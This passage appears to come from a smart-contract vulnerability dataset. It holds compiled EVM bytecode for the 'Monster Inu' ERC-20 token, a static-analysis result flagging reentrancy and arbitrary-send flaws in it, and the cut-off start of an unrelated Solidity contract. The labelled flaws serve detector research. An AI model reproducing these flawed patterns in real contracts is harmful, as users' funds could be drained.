0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e9f565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129a6565b61045e565b6040516101789190612e84565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613041565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612953565b61048d565b6040516101e09190612e84565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128b9565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130b6565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a2f565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128b9565b610783565b6040516102b19190613041565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612db6565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e9f565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129a6565b61098d565b60405161035b9190612e84565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129e6565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a89565b6110ab565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612913565b6111f4565b6040516104189190613041565b60405180910390f35b60606040518060400160405280600b81526020017f4d6f6e7374657220496e75000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b610556856040518060600160405280602881526020016137bd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f81565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f81565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f81565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f4d6f6e73746572696e7546690000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f81565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133fe565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613357565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611e00565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f81565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90613001565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128e6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128e6565b6040518363ffffffff1660e01b8152600401610df9929190612dd1565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128e6565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612e23565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612ab6565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612dfa565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612a5c565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f81565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f41565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061208890919063ffffffff16565b61210390919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e99190613041565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fe1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612f01565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190613041565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612fc1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612ec1565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612fa1565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600f60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90613021565b60405180910390fd5b5b5b60105481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600f60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c9190613177565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600f60159054906101000a900460ff16158015611b085750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600f60169054906101000a900460ff165b15611b4857611b2e81611e00565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c078484848461214d565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e9f565b60405180910390fd5b5060008385611c649190613258565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cd4600a611cc660048661208890919063ffffffff16565b61210390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d63600a611d5560068661208890919063ffffffff16565b61210390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612ee1565b60405180910390fd5b6000611de361217a565b9050611df8818461210390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e3857611e3761342d565b5b604051908082528060200260200182016040528015611e665781602001602082028036833780820191505090505b5090503081600081518110611e7e57611e7d6133fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f2057600080fd5b505afa158015611f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5891906128e6565b81600181518110611f6c57611f6b6133fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203795949392919061305c565b600060405180830381600087803b15801561205157600080fd5b505af1158015612065573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561209b57600090506120fd565b600082846120a991906131fe565b90508284826120b891906131cd565b146120f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ef90612f61565b60405180910390fd5b809150505b92915050565b600061214583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121a5565b905092915050565b8061215b5761215a612208565b5b612166848484612239565b8061217457612173612404565b5b50505050565b6000806000612187612416565b9150915061219e818361210390919063ffffffff16565b9250505090565b600080831182906121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e39190612e9f565b60405180910390fd5b50600083856121fb91906131cd565b9050809150509392505050565b600060085414801561221c57506000600954145b1561222657612237565b600060088190555060006009819055505b565b60008060008060008061224b87612478565b9550955095509550955095506122a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238a81612587565b6123948483612644565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123f19190613041565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea00000905061244c683635c9adc5dea0000060065461210390919063ffffffff16565b82101561246b57600654683635c9adc5dea00000935093505050612474565b81819350935050505b9091565b60008060008060008060008060006124948a600854600c61267e565b92509250925060006124a461217a565b905060008060006124b78e878787612714565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061252183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125389190613177565b90508381101561257d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257490612f21565b60405180910390fd5b8091505092915050565b600061259161217a565b905060006125a8828461208890919063ffffffff16565b90506125fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612659826006546124df90919063ffffffff16565b6006819055506126748160075461252990919063ffffffff16565b6007819055505050565b6000806000806126aa606461269c888a61208890919063ffffffff16565b61210390919063ffffffff16565b905060006126d460646126c6888b61208890919063ffffffff16565b61210390919063ffffffff16565b905060006126fd826126ef858c6124df90919063ffffffff16565b6124df90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061272d858961208890919063ffffffff16565b90506000612744868961208890919063ffffffff16565b9050600061275b878961208890919063ffffffff16565b905060006127848261277685876124df90919063ffffffff16565b6124df90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127b06127ab846130f6565b6130d1565b905080838252602082019050828560208602820111156127d3576127d2613461565b5b60005b8581101561280357816127e9888261280d565b8452602084019350602083019250506001810190506127d6565b5050509392505050565b60008135905061281c81613777565b92915050565b60008151905061283181613777565b92915050565b600082601f83011261284c5761284b61345c565b5b813561285c84826020860161279d565b91505092915050565b6000813590506128748161378e565b92915050565b6000815190506128898161378e565b92915050565b60008135905061289e816137a5565b92915050565b6000815190506128b3816137a5565b92915050565b6000602082840312156128cf576128ce61346b565b5b60006128dd8482850161280d565b91505092915050565b6000602082840312156128fc576128fb61346b565b5b600061290a84828501612822565b91505092915050565b6000806040838503121561292a5761292961346b565b5b60006129388582860161280d565b92505060206129498582860161280d565b9150509250929050565b60008060006060848603121561296c5761296b61346b565b5b600061297a8682870161280d565b935050602061298b8682870161280d565b925050604061299c8682870161288f565b9150509250925092565b600080604083850312156129bd576129bc61346b565b5b60006129cb8582860161280d565b92505060206129dc8582860161288f565b9150509250929050565b6000602082840312156129fc576129fb61346b565b5b600082013567ffffffffffffffff811115612a1a57612a19613466565b5b612a2684828501612837565b91505092915050565b600060208284031215612a4557612a4461346b565b5b6000612a5384828501612865565b91505092915050565b600060208284031215612a7257612a7161346b565b5b6000612a808482850161287a565b91505092915050565b600060208284031215612a9f57612a9e61346b565b5b6000612aad8482850161288f565b91505092915050565b600080600060608486031215612acf57612ace61346b565b5b6000612add868287016128a4565b9350506020612aee868287016128a4565b9250506040612aff868287016128a4565b9150509250925092565b6000612b158383612b21565b60208301905092915050565b612b2a8161328c565b82525050565b612b398161328c565b82525050565b6000612b4a82613132565b612b548185613155565b9350612b5f83613122565b8060005b83811015612b90578151612b778882612b09565b9750612b8283613148565b925050600181019050612b63565b5085935050505092915050565b612ba68161329e565b82525050565b612bb5816132e1565b82525050565b6000612bc68261313d565b612bd08185613166565b9350612be08185602086016132f3565b612be981613470565b840191505092915050565b6000612c01602383613166565b9150612c0c82613481565b604082019050919050565b6000612c24602a83613166565b9150612c2f826134d0565b604082019050919050565b6000612c47602283613166565b9150612c528261351f565b604082019050919050565b6000612c6a601b83613166565b9150612c758261356e565b602082019050919050565b6000612c8d601d83613166565b9150612c9882613597565b602082019050919050565b6000612cb0602183613166565b9150612cbb826135c0565b604082019050919050565b6000612cd3602083613166565b9150612cde8261360f565b602082019050919050565b6000612cf6602983613166565b9150612d0182613638565b604082019050919050565b6000612d19602583613166565b9150612d2482613687565b604082019050919050565b6000612d3c602483613166565b9150612d47826136d6565b604082019050919050565b6000612d5f601783613166565b9150612d6a82613725565b602082019050919050565b6000612d82601183613166565b9150612d8d8261374e565b602082019050919050565b612da1816132ca565b82525050565b612db0816132d4565b82525050565b6000602082019050612dcb6000830184612b30565b92915050565b6000604082019050612de66000830185612b30565b612df36020830184612b30565b9392505050565b6000604082019050612e0f6000830185612b30565b612e1c6020830184612d98565b9392505050565b600060c082019050612e386000830189612b30565b612e456020830188612d98565b612e526040830187612bac565b612e5f6060830186612bac565b612e6c6080830185612b30565b612e7960a0830184612d98565b979650505050505050565b6000602082019050612e996000830184612b9d565b92915050565b60006020820190508181036000830152612eb98184612bbb565b905092915050565b60006020820190508181036000830152612eda81612bf4565b9050919050565b60006020820190508181036000830152612efa81612c17565b9050919050565b60006020820190508181036000830152612f1a81612c3a565b9050919050565b60006020820190508181036000830152612f3a81612c5d565b9050919050565b60006020820190508181036000830152612f5a81612c80565b9050919050565b60006020820190508181036000830152612f7a81612ca3565b9050919050565b60006020820190508181036000830152612f9a81612cc6565b9050919050565b60006020820190508181036000830152612fba81612ce9565b9050919050565b60006020820190508181036000830152612fda81612d0c565b9050919050565b60006020820190508181036000830152612ffa81612d2f565b9050919050565b6000602082019050818103600083015261301a81612d52565b9050919050565b6000602082019050818103600083015261303a81612d75565b9050919050565b60006020820190506130566000830184612d98565b92915050565b600060a0820190506130716000830188612d98565b61307e6020830187612bac565b81810360408301526130908186612b3f565b905061309f6060830185612b30565b6130ac6080830184612d98565b9695505050505050565b60006020820190506130cb6000830184612da7565b92915050565b60006130db6130ec565b90506130e78282613326565b919050565b6000604051905090565b600067ffffffffffffffff8211156131115761311061342d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613182826132ca565b915061318d836132ca565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131c2576131c16133a0565b5b828201905092915050565b60006131d8826132ca565b91506131e3836132ca565b9250826131f3576131f26133cf565b5b828204905092915050565b6000613209826132ca565b9150613214836132ca565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324d5761324c6133a0565b5b828202905092915050565b6000613263826132ca565b915061326e836132ca565b925082821015613281576132806133a0565b5b828203905092915050565b6000613297826132aa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132ec826132ca565b9050919050565b60005b838110156133115780820151818401526020810190506132f6565b83811115613320576000848401525b50505050565b61332f82613470565b810181811067ffffffffffffffff8211171561334e5761334d61342d565b5b80604052505050565b6000613362826132ca565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613395576133946133a0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137808161328c565b811461378b57600080fd5b50565b6137978161329e565b81146137a257600080fd5b50565b6137ae816132ca565b81146137b957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046965922711ae35923141fa87a9308fa578e0f8f79167d10c156fc45699013b764736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,406 |
0xeb05dc30bcc4573371d438f81f11a5ade223509e
|
pragma solidity 0.6.11;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
